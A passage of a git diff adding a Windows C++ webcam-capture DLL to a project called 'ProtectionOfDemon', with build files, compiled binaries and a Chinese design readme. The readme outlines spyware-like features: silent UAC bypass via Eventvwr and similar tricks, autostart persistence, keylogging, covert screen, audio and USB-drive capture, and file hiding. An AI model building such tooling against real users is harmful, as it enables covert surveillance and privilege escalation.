+ }
+}
+
+
+void VideoRecordFormatDlg()
+{
+ // TODO: 在此添加控件通知处理程序代码
+ // 设置格式对话框
+ if (g_DriverCaps.fHasDlgVideoFormat)
+ {
+ capDlgVideoFormat(g_hCapWnd);
+ }
+}
+
+
+BOOL VideoRecordFormat(int iWidth, int iHeight, int iBitCount)
+{
+ // TODO: 在此添加控件通知处理程序代码
+ // 设置格式,分辨率
+ BITMAPINFO bi = { 0 };
+ capGetVideoFormat(g_hCapWnd, &bi, sizeof(BITMAPINFO));
+
+ bi.bmiHeader.biWidth = iWidth;
+ bi.bmiHeader.biHeight = iHeight;
+ bi.bmiHeader.biBitCount = iBitCount; //每个像素所用的比特数
+ bi.bmiHeader.biSizeImage = (iWidth*iHeight*iBitCount) / 8; //该结构所用总比特数
+ BOOL bRet = capSetVideoFormat(g_hCapWnd, &bi, sizeof(BITMAPINFO));
+
+ return bRet;
+}
+
+
+void VideoRecordSourceDlg()
+{
+ // TODO: 在此添加控件通知处理程序代码
+ // 设置图像源对话框
+ if (g_DriverCaps.fHasDlgVideoSource)
+ {
+ capDlgVideoSource(g_hCapWnd);
+ }
+}
+
+
+void VideoRecordCompressDlg()
+{
+ // TODO: 在此添加控件通知处理程序代码
+ // 设置压缩对话框
+ capDlgVideoCompression(g_hCapWnd);
+}
+
+
+void VideoRecordSetFreeze(BOOL bFreeze)
+{
+ // TODO: 在此添加控件通知处理程序代码
+ // 定帧与恢复
+ if (bFreeze)
+ {
+ capPreview(g_hCapWnd, FALSE);
+ }
+ else
+ {
+ capPreview(g_hCapWnd, TRUE);
+ }
+}
+
+
+BOOL ClipboardSaveToFile(char *lpszFileName)
+{
+ // 打开剪切板
+ if (!::OpenClipboard(NULL))
+ {
+ ShowError("OpenClipboard");
+ return FALSE;
+ }
+ // 获取位图句柄
+ HBITMAP bmp = (HBITMAP)::GetClipboardData(CF_BITMAP);
+ // 关闭剪切板
+ ::CloseClipboard();
+
+ // 获取保存文件名称
+ char szFileName[MAX_PATH] = { 0 };
+ if (NULL == lpszFileName)
+ {
+ OPENFILENAME stOF = { 0 };
+ ::RtlZeroMemory(&stOF, sizeof(stOF));
+ stOF.lStructSize = sizeof(stOF);
+ stOF.hwndOwner = NULL;
+ stOF.lpstrFilter = "jpg files(*.jpg)\0*.jpg\0all files(*.*)\0*.*\0\0";
+ stOF.lpstrFile = szFileName;
+ stOF.nMaxFile = MAX_PATH;
+ stOF.lpstrDefExt = "123";
+ stOF.Flags = OFN_PATHMUSTEXIST;
+ ::GetSaveFileName(&stOF);
+ if (0 >= ::lstrlen(szFileName))
+ {
+ return FALSE;
+ }
+ }
+ else
+ {
+ ::lstrcpy(szFileName, lpszFileName);
+ }
+
+ // 保存位图句柄
+ CImage *pImage = new CImage;
+ pImage->Attach(bmp);
+ pImage->Save(szFileName);
+ pImage->Detach();
+ // 释放内存
+ delete pImage;
+ pImage = NULL;
+
+ return TRUE;
+}
+
+
+void VideoRecordCaptureFrame(char *lpszFileName)
+{
+ // TODO: 在此添加控件通知处理程序代码
+ // 单帧截屏
+ capGrabFrameNoStop(g_hCapWnd);
+ // 将图像复制到剪切板
+ capEditCopy(g_hCapWnd);
+ // 将剪切板里的内容保存为图片文件
+ ClipboardSaveToFile(lpszFileName);
+}
+
+
+void ExitVideoRecord()
+{
+ if (g_DriverCaps.fCaptureInitialized)
+ {
+ // 停止捕捉
+ capCaptureStop(g_hCapWnd);
+ capCaptureAbort(g_hCapWnd);
+ // 关闭回调函数,类似可调用其他存在的回调函数
+ capSetCallbackOnVideoStream(g_hCapWnd, NULL);
+// capSetCallbackOnFrame(g_hCapWnd, NULL);
+// capSetCallbackOnCapControl(g_hCapWnd, NULL);
+ // 断开连接
+ capDriverDisconnect(g_hCapWnd);
+ // 发送关闭捕获窗口的信息
+ ::SendMessage(g_hCapWnd, WM_CLOSE, NULL, NULL);
+ }
+}
\ No newline at end of file
diff --git a/ProtectionOfDemon/VideoRecord/VideoRecord.def b/ProtectionOfDemon/VideoRecord/VideoRecord.def
new file mode 100644
index 0000000..d84bdb9
--- /dev/null
+++ b/ProtectionOfDemon/VideoRecord/VideoRecord.def
@@ -0,0 +1,18 @@
+LIBRARY
+
+EXPORTS
+ ; 此处可以是显式导出
+ VideoRecordInit
+ StartVideoRecord
+ StopVideoRecord
+ VideoRecordDisplayDlg
+ VideoRecordFormatDlg
+ VideoRecordFormat
+ VideoRecordSourceDlg
+ VideoRecordCompressDlg
+ VideoRecordSetFreeze
+ VideoRecordCaptureFrame
+ ExitVideoRecord
+
+
+
diff --git a/ProtectionOfDemon/VideoRecord/VideoRecord.vcxproj b/ProtectionOfDemon/VideoRecord/VideoRecord.vcxproj
new file mode 100644
index 0000000..5fd446b
--- /dev/null
+++ b/ProtectionOfDemon/VideoRecord/VideoRecord.vcxproj
@@ -0,0 +1,109 @@
+锘
+
+
+
+ Debug
+ Win32
+
+
+ Release
+ Win32
+
+
+
+ {F00A1706-4972-4B03-B827-A20DF0C363F2}
+ Win32Proj
+ VideoRecord
+
+
+
+ DynamicLibrary
+ true
+ v120
+ MultiByte
+ Static
+
+
+ DynamicLibrary
+ false
+ v120_xp
+ true
+ MultiByte
+
+
+
+
+
+
+
+
+
+
+
+
+ true
+
+
+ false
+
+
+
+ Use
+ Level3
+ Disabled
+ WIN32;_DEBUG;_WINDOWS;_USRDLL;VIDEORECORD_EXPORTS;%(PreprocessorDefinitions)
+ true
+
+
+ Windows
+ true
+ VideoRecord.def
+
+
+
+
+ Level3
+ Use
+ MaxSpeed
+ true
+ true
+ WIN32;NDEBUG;_WINDOWS;_USRDLL;VIDEORECORD_EXPORTS;%(PreprocessorDefinitions)
+ true
+
+
+ Windows
+ true
+ true
+ true
+ VideoRecord.def
+
+
+
+
+
+
+
+
+
+
+
+ false
+
+
+ false
+
+
+
+
+ Create
+ Create
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/ProtectionOfDemon/VideoRecord/VideoRecord.vcxproj.filters b/ProtectionOfDemon/VideoRecord/VideoRecord.vcxproj.filters
new file mode 100644
index 0000000..b622d60
--- /dev/null
+++ b/ProtectionOfDemon/VideoRecord/VideoRecord.vcxproj.filters
@@ -0,0 +1,44 @@
+锘
+
+
+
+ {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
+ cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
+
+
+ {93995380-89BD-4b04-88EB-625FBE52EBFB}
+ h;hh;hpp;hxx;hm;inl;inc;xsd
+
+
+ {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
+ rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
+
+
+
+
+
+
+
+ 澶存枃浠
+
+
+ 澶存枃浠
+
+
+
+
+ 婧愭枃浠
+
+
+ 婧愭枃浠
+
+
+ 婧愭枃浠
+
+
+
+
+ 婧愭枃浠
+
+
+
\ No newline at end of file
diff --git a/ProtectionOfDemon/VideoRecord/dllmain.cpp b/ProtectionOfDemon/VideoRecord/dllmain.cpp
new file mode 100644
index 0000000..f782a01
--- /dev/null
+++ b/ProtectionOfDemon/VideoRecord/dllmain.cpp
@@ -0,0 +1,19 @@
+// dllmain.cpp : 定义 DLL 应用程序的入口点。
+#include "stdafx.h"
+
+BOOL APIENTRY DllMain( HMODULE hModule,
+ DWORD ul_reason_for_call,
+ LPVOID lpReserved
+ )
+{
+ switch (ul_reason_for_call)
+ {
+ case DLL_PROCESS_ATTACH:
+ case DLL_THREAD_ATTACH:
+ case DLL_THREAD_DETACH:
+ case DLL_PROCESS_DETACH:
+ break;
+ }
+ return TRUE;
+}
+
diff --git a/ProtectionOfDemon/VideoRecord/stdafx.cpp b/ProtectionOfDemon/VideoRecord/stdafx.cpp
new file mode 100644
index 0000000..6b45ad6
--- /dev/null
+++ b/ProtectionOfDemon/VideoRecord/stdafx.cpp
@@ -0,0 +1,8 @@
+// stdafx.cpp : 只包括标准包含文件的源文件
+// VideoRecord.pch 将作为预编译头
+// stdafx.obj 将包含预编译类型信息
+
+#include "stdafx.h"
+
+// TODO: 在 STDAFX.H 中
+// 引用任何所需的附加头文件,而不是在此文件中引用
diff --git a/ProtectionOfDemon/VideoRecord/stdafx.h b/ProtectionOfDemon/VideoRecord/stdafx.h
new file mode 100644
index 0000000..9ea5d30
--- /dev/null
+++ b/ProtectionOfDemon/VideoRecord/stdafx.h
@@ -0,0 +1,16 @@
+// stdafx.h : 标准系统包含文件的包含文件,
+// 或是经常使用但不常更改的
+// 特定于项目的包含文件
+//
+
+#pragma once
+
+#include "targetver.h"
+
+#define WIN32_LEAN_AND_MEAN // 从 Windows 头文件中排除极少使用的信息
+// Windows 头文件:
+#include
+
+
+
+// TODO: 在此处引用程序需要的其他头文件
diff --git a/ProtectionOfDemon/VideoRecord/targetver.h b/ProtectionOfDemon/VideoRecord/targetver.h
new file mode 100644
index 0000000..aadba2f
--- /dev/null
+++ b/ProtectionOfDemon/VideoRecord/targetver.h
@@ -0,0 +1,8 @@
+#pragma once
+
+// 包括 SDKDDKVer.h 将定义可用的最高版本的 Windows 平台。
+
+// 如果要为以前的 Windows 平台生成应用程序,请包括 WinSDKVer.h,并将
+// WIN32_WINNT 宏设置为要支持的平台,然后再包括 SDKDDKVer.h。
+
+#include
diff --git a/ProtectionOfDemon/璇存槑.txt b/ProtectionOfDemon/璇存槑.txt
new file mode 100644
index 0000000..62ede6b
--- /dev/null
+++ b/ProtectionOfDemon/璇存槑.txt
@@ -0,0 +1,35 @@
+原理
+0. 换肤
+ a、Skin++
+1. 随机选择3种By Pass UAC方法中一种,实现无弹窗提权
+ a、Uninstall
+ b、Eventvwr
+ c、CompMgmtLauncher
+2. 随机选择2种开机自启动方式中的一种,实现开机自启动
+ a、修改注册表
+ b、创建系统服务
+3. 按键记录
+ a、获取按键原始输入方式Raw Input Data
+4. 屏幕截屏,存储为本地图片
+ a、GDI绘图方式,获取桌面图像
+ b、使用CImage类方式实现图片的保存
+ c、同时可以选择绘制鼠标
+5. 截图工具
+ a、GDI绘图方式
+6. U盘拷贝
+ a、WM_DEVICECHANGE消息响应
+ b、文件遍历
+7. 定时关机、注销、锁定
+ a、定时器的使用
+8. 摄像头的录制
+ a、vwf类库的使用
+9. 屏幕录屏
+ a、
+10. 音频记录
+11. 文件管理
+ a、内核层中使用内核文件操作函数
+12. 文件隐藏
+ a、
+13. 文件监控
+ a、使用MiniFilter驱动框架
+
\ No newline at end of file
diff --git a/exe/AutoRun.dll b/exe/AutoRun.dll
new file mode 100644
index 0000000..383aedf
Binary files /dev/null and b/exe/AutoRun.dll differ
diff --git a/exe/KeyboardRecord.dll b/exe/KeyboardRecord.dll
new file mode 100644
index 0000000..ba2c0e0
Binary files /dev/null and b/exe/KeyboardRecord.dll differ
diff --git a/exe/ProtectionOfDemon.exe b/exe/ProtectionOfDemon.exe
new file mode 100644
index 0000000..b0956f5
Binary files /dev/null and b/exe/ProtectionOfDemon.exe differ
diff --git a/exe/ScreenCapture.dll b/exe/ScreenCapture.dll
new file mode 100644
index 0000000..017bd1e
Binary files /dev/null and b/exe/ScreenCapture.dll differ
diff --git a/exe/ScreenRecord.dll b/exe/ScreenRecord.dll
new file mode 100644
index 0000000..e0a2bc8
Binary files /dev/null and b/exe/ScreenRecord.dll differ
diff --git a/exe/ScreenRecordAvi.dll b/exe/ScreenRecordAvi.dll
new file mode 100644
index 0000000..f418c22
Binary files /dev/null and b/exe/ScreenRecordAvi.dll differ
diff --git a/exe/ShutdownTimer.dll b/exe/ShutdownTimer.dll
new file mode 100644
index 0000000..d3b660a
Binary files /dev/null and b/exe/ShutdownTimer.dll differ
diff --git a/exe/Skins/AlphaOS.ssk b/exe/Skins/AlphaOS.ssk
new file mode 100644
index 0000000..1a4eafc
Binary files /dev/null and b/exe/Skins/AlphaOS.ssk differ
diff --git a/exe/Skins/Anion.ssk b/exe/Skins/Anion.ssk
new file mode 100644
index 0000000..68204e4
Binary files /dev/null and b/exe/Skins/Anion.ssk differ
diff --git a/exe/Skins/AquaOS.ssk b/exe/Skins/AquaOS.ssk
new file mode 100644
index 0000000..ce38836
Binary files /dev/null and b/exe/Skins/AquaOS.ssk differ
diff --git a/exe/Skins/Aura.ssk b/exe/Skins/Aura.ssk
new file mode 100644
index 0000000..22864e8
Binary files /dev/null and b/exe/Skins/Aura.ssk differ
diff --git a/exe/Skins/Beige.ssk b/exe/Skins/Beige.ssk
new file mode 100644
index 0000000..dcb0c5d
Binary files /dev/null and b/exe/Skins/Beige.ssk differ
diff --git a/exe/Skins/BlueStandard.ssk b/exe/Skins/BlueStandard.ssk
new file mode 100644
index 0000000..7f0424a
Binary files /dev/null and b/exe/Skins/BlueStandard.ssk differ
diff --git a/exe/Skins/Christmas.ssk b/exe/Skins/Christmas.ssk
new file mode 100644
index 0000000..847d763
Binary files /dev/null and b/exe/Skins/Christmas.ssk differ
diff --git a/exe/Skins/DameK UltraBlue.ssk b/exe/Skins/DameK UltraBlue.ssk
new file mode 100644
index 0000000..0868efc
Binary files /dev/null and b/exe/Skins/DameK UltraBlue.ssk differ
diff --git a/exe/Skins/Devoir.ssk b/exe/Skins/Devoir.ssk
new file mode 100644
index 0000000..b47c11a
Binary files /dev/null and b/exe/Skins/Devoir.ssk differ
diff --git a/exe/Skins/FauxS-TOON.ssk b/exe/Skins/FauxS-TOON.ssk
new file mode 100644
index 0000000..9af9d93
Binary files /dev/null and b/exe/Skins/FauxS-TOON.ssk differ
diff --git a/exe/Skins/Gloss.ssk b/exe/Skins/Gloss.ssk
new file mode 100644
index 0000000..e93cf32
Binary files /dev/null and b/exe/Skins/Gloss.ssk differ
diff --git a/exe/Skins/Longhorn Silver.ssk b/exe/Skins/Longhorn Silver.ssk
new file mode 100644
index 0000000..6916d22
Binary files /dev/null and b/exe/Skins/Longhorn Silver.ssk differ
diff --git a/exe/Skins/Longhorn.ssk b/exe/Skins/Longhorn.ssk
new file mode 100644
index 0000000..1d6c7b9
Binary files /dev/null and b/exe/Skins/Longhorn.ssk differ
diff --git a/exe/Skins/Longhorn5203.ssk b/exe/Skins/Longhorn5203.ssk
new file mode 100644
index 0000000..503e0ef
Binary files /dev/null and b/exe/Skins/Longhorn5203.ssk differ
diff --git a/exe/Skins/MAC.ssk b/exe/Skins/MAC.ssk
new file mode 100644
index 0000000..da7fdfd
Binary files /dev/null and b/exe/Skins/MAC.ssk differ
diff --git a/exe/Skins/MSN Messenger.ssk b/exe/Skins/MSN Messenger.ssk
new file mode 100644
index 0000000..cdc4d5f
Binary files /dev/null and b/exe/Skins/MSN Messenger.ssk differ
diff --git a/exe/Skins/Mako.ssk b/exe/Skins/Mako.ssk
new file mode 100644
index 0000000..870f32f
Binary files /dev/null and b/exe/Skins/Mako.ssk differ
diff --git a/exe/Skins/Noire.ssk b/exe/Skins/Noire.ssk
new file mode 100644
index 0000000..64aa6d7
Binary files /dev/null and b/exe/Skins/Noire.ssk differ
diff --git a/exe/Skins/OSXP.ssk b/exe/Skins/OSXP.ssk
new file mode 100644
index 0000000..12d27ae
Binary files /dev/null and b/exe/Skins/OSXP.ssk differ
diff --git a/exe/Skins/Phenom.ssk b/exe/Skins/Phenom.ssk
new file mode 100644
index 0000000..fb4ef48
Binary files /dev/null and b/exe/Skins/Phenom.ssk differ
diff --git a/exe/Skins/PurpleClass.ssk b/exe/Skins/PurpleClass.ssk
new file mode 100644
index 0000000..cb6675f
Binary files /dev/null and b/exe/Skins/PurpleClass.ssk differ
diff --git a/exe/Skins/RedCopper.ssk b/exe/Skins/RedCopper.ssk
new file mode 100644
index 0000000..6fe73bc
Binary files /dev/null and b/exe/Skins/RedCopper.ssk differ
diff --git a/exe/Skins/RedStar.ssk b/exe/Skins/RedStar.ssk
new file mode 100644
index 0000000..c1bccb3
Binary files /dev/null and b/exe/Skins/RedStar.ssk differ
diff --git a/exe/Skins/RisingDragon.ssk b/exe/Skins/RisingDragon.ssk
new file mode 100644
index 0000000..fa47eec
Binary files /dev/null and b/exe/Skins/RisingDragon.ssk differ
diff --git a/exe/Skins/Royale.ssk b/exe/Skins/Royale.ssk
new file mode 100644
index 0000000..9762f0c
Binary files /dev/null and b/exe/Skins/Royale.ssk differ
diff --git a/exe/Skins/Skin.ssk b/exe/Skins/Skin.ssk
new file mode 100644
index 0000000..51d3c85
Binary files /dev/null and b/exe/Skins/Skin.ssk differ
diff --git a/exe/Skins/SlickOS2.ssk b/exe/Skins/SlickOS2.ssk
new file mode 100644
index 0000000..4eeb55b
Binary files /dev/null and b/exe/Skins/SlickOS2.ssk differ
diff --git a/exe/Skins/Steel.ssk b/exe/Skins/Steel.ssk
new file mode 100644
index 0000000..5ef4a60
Binary files /dev/null and b/exe/Skins/Steel.ssk differ
diff --git a/exe/Skins/UMskin.ssk b/exe/Skins/UMskin.ssk
new file mode 100644
index 0000000..3fb5b29
Binary files /dev/null and b/exe/Skins/UMskin.ssk differ
diff --git a/exe/Skins/Vista.ssk b/exe/Skins/Vista.ssk
new file mode 100644
index 0000000..5a62c24
Binary files /dev/null and b/exe/Skins/Vista.ssk differ
diff --git a/exe/Skins/XP-Home.ssk b/exe/Skins/XP-Home.ssk
new file mode 100644
index 0000000..3286e23
Binary files /dev/null and b/exe/Skins/XP-Home.ssk differ
diff --git a/exe/Skins/XP-Luna.ssk b/exe/Skins/XP-Luna.ssk
new file mode 100644
index 0000000..40e1902
Binary files /dev/null and b/exe/Skins/XP-Luna.ssk differ
diff --git a/exe/Skins/XP-Metallic.ssk b/exe/Skins/XP-Metallic.ssk
new file mode 100644
index 0000000..6836d8c
Binary files /dev/null and b/exe/Skins/XP-Metallic.ssk differ
diff --git a/exe/Skins/avfone.ssk b/exe/Skins/avfone.ssk
new file mode 100644
index 0000000..158e767
Binary files /dev/null and b/exe/Skins/avfone.ssk differ
diff --git a/exe/Skins/bOzen.ssk b/exe/Skins/bOzen.ssk
new file mode 100644
index 0000000..5818231
Binary files /dev/null and b/exe/Skins/bOzen.ssk differ
diff --git a/exe/Skins/bbq.ssk b/exe/Skins/bbq.ssk
new file mode 100644
index 0000000..f0d787b
Binary files /dev/null and b/exe/Skins/bbq.ssk differ
diff --git a/exe/Skins/blue.ssk b/exe/Skins/blue.ssk
new file mode 100644
index 0000000..916c2b6
Binary files /dev/null and b/exe/Skins/blue.ssk differ
diff --git a/exe/Skins/default.ssk b/exe/Skins/default.ssk
new file mode 100644
index 0000000..6a69331
Binary files /dev/null and b/exe/Skins/default.ssk differ
diff --git a/exe/Skins/dogmax.ssk b/exe/Skins/dogmax.ssk
new file mode 100644
index 0000000..1a33e9e
Binary files /dev/null and b/exe/Skins/dogmax.ssk differ
diff --git a/exe/Skins/dogmax2.ssk b/exe/Skins/dogmax2.ssk
new file mode 100644
index 0000000..b32a548
Binary files /dev/null and b/exe/Skins/dogmax2.ssk differ
diff --git a/exe/Skins/gold.ssk b/exe/Skins/gold.ssk
new file mode 100644
index 0000000..7ec312d
Binary files /dev/null and b/exe/Skins/gold.ssk differ
diff --git a/exe/Skins/green.ssk b/exe/Skins/green.ssk
new file mode 100644
index 0000000..889d768
Binary files /dev/null and b/exe/Skins/green.ssk differ
diff --git a/exe/Skins/machine.ssk b/exe/Skins/machine.ssk
new file mode 100644
index 0000000..296a58f
Binary files /dev/null and b/exe/Skins/machine.ssk differ
diff --git a/exe/Skins/santa.ssk b/exe/Skins/santa.ssk
new file mode 100644
index 0000000..5037f4c
Binary files /dev/null and b/exe/Skins/santa.ssk differ
diff --git a/exe/Skins/spring.ssk b/exe/Skins/spring.ssk
new file mode 100644
index 0000000..9057411
Binary files /dev/null and b/exe/Skins/spring.ssk differ
diff --git a/exe/Skins/thinblue.ssk b/exe/Skins/thinblue.ssk
new file mode 100644
index 0000000..08817b6
Binary files /dev/null and b/exe/Skins/thinblue.ssk differ
diff --git a/exe/Skins/vladstudio.ssk b/exe/Skins/vladstudio.ssk
new file mode 100644
index 0000000..edec64d
Binary files /dev/null and b/exe/Skins/vladstudio.ssk differ
diff --git a/exe/Skins/xp_corona.ssk b/exe/Skins/xp_corona.ssk
new file mode 100644
index 0000000..fb14c4c
Binary files /dev/null and b/exe/Skins/xp_corona.ssk differ
diff --git a/exe/SoundRecord.dll b/exe/SoundRecord.dll
new file mode 100644
index 0000000..1c6a781
Binary files /dev/null and b/exe/SoundRecord.dll differ
diff --git a/exe/UDiskRecord.dll b/exe/UDiskRecord.dll
new file mode 100644
index 0000000..2acd717
Binary files /dev/null and b/exe/UDiskRecord.dll differ
diff --git a/exe/VideoRecord.dll b/exe/VideoRecord.dll
new file mode 100644
index 0000000..cb859e9
Binary files /dev/null and b/exe/VideoRecord.dll differ
diff --git a/exe/mfc120.dll b/exe/mfc120.dll
new file mode 100644
index 0000000..15af73c
Binary files /dev/null and b/exe/mfc120.dll differ
diff --git a/exe/msvcp120.dll b/exe/msvcp120.dll
new file mode 100644
index 0000000..a237d2d
Binary files /dev/null and b/exe/msvcp120.dll differ
diff --git a/exe/msvcr120.dll b/exe/msvcr120.dll
new file mode 100644
index 0000000..8c36149
Binary files /dev/null and b/exe/msvcr120.dll differ
diff --git a/exe/protectionofdemonconfig.ini b/exe/protectionofdemonconfig.ini
new file mode 100644
index 0000000..534341e
--- /dev/null
+++ b/exe/protectionofdemonconfig.ini
@@ -0,0 +1,3 @@
+[SKIN]
+load=1
+name=XP-Home.ssk
diff --git a/exe/skinppwtl.dll b/exe/skinppwtl.dll
new file mode 100644
index 0000000..faed7d4
Binary files /dev/null and b/exe/skinppwtl.dll differ
diff --git a/exe/xvid/xvid.exe b/exe/xvid/xvid.exe
new file mode 100644
index 0000000..c321ade
Binary files /dev/null and b/exe/xvid/xvid.exe differ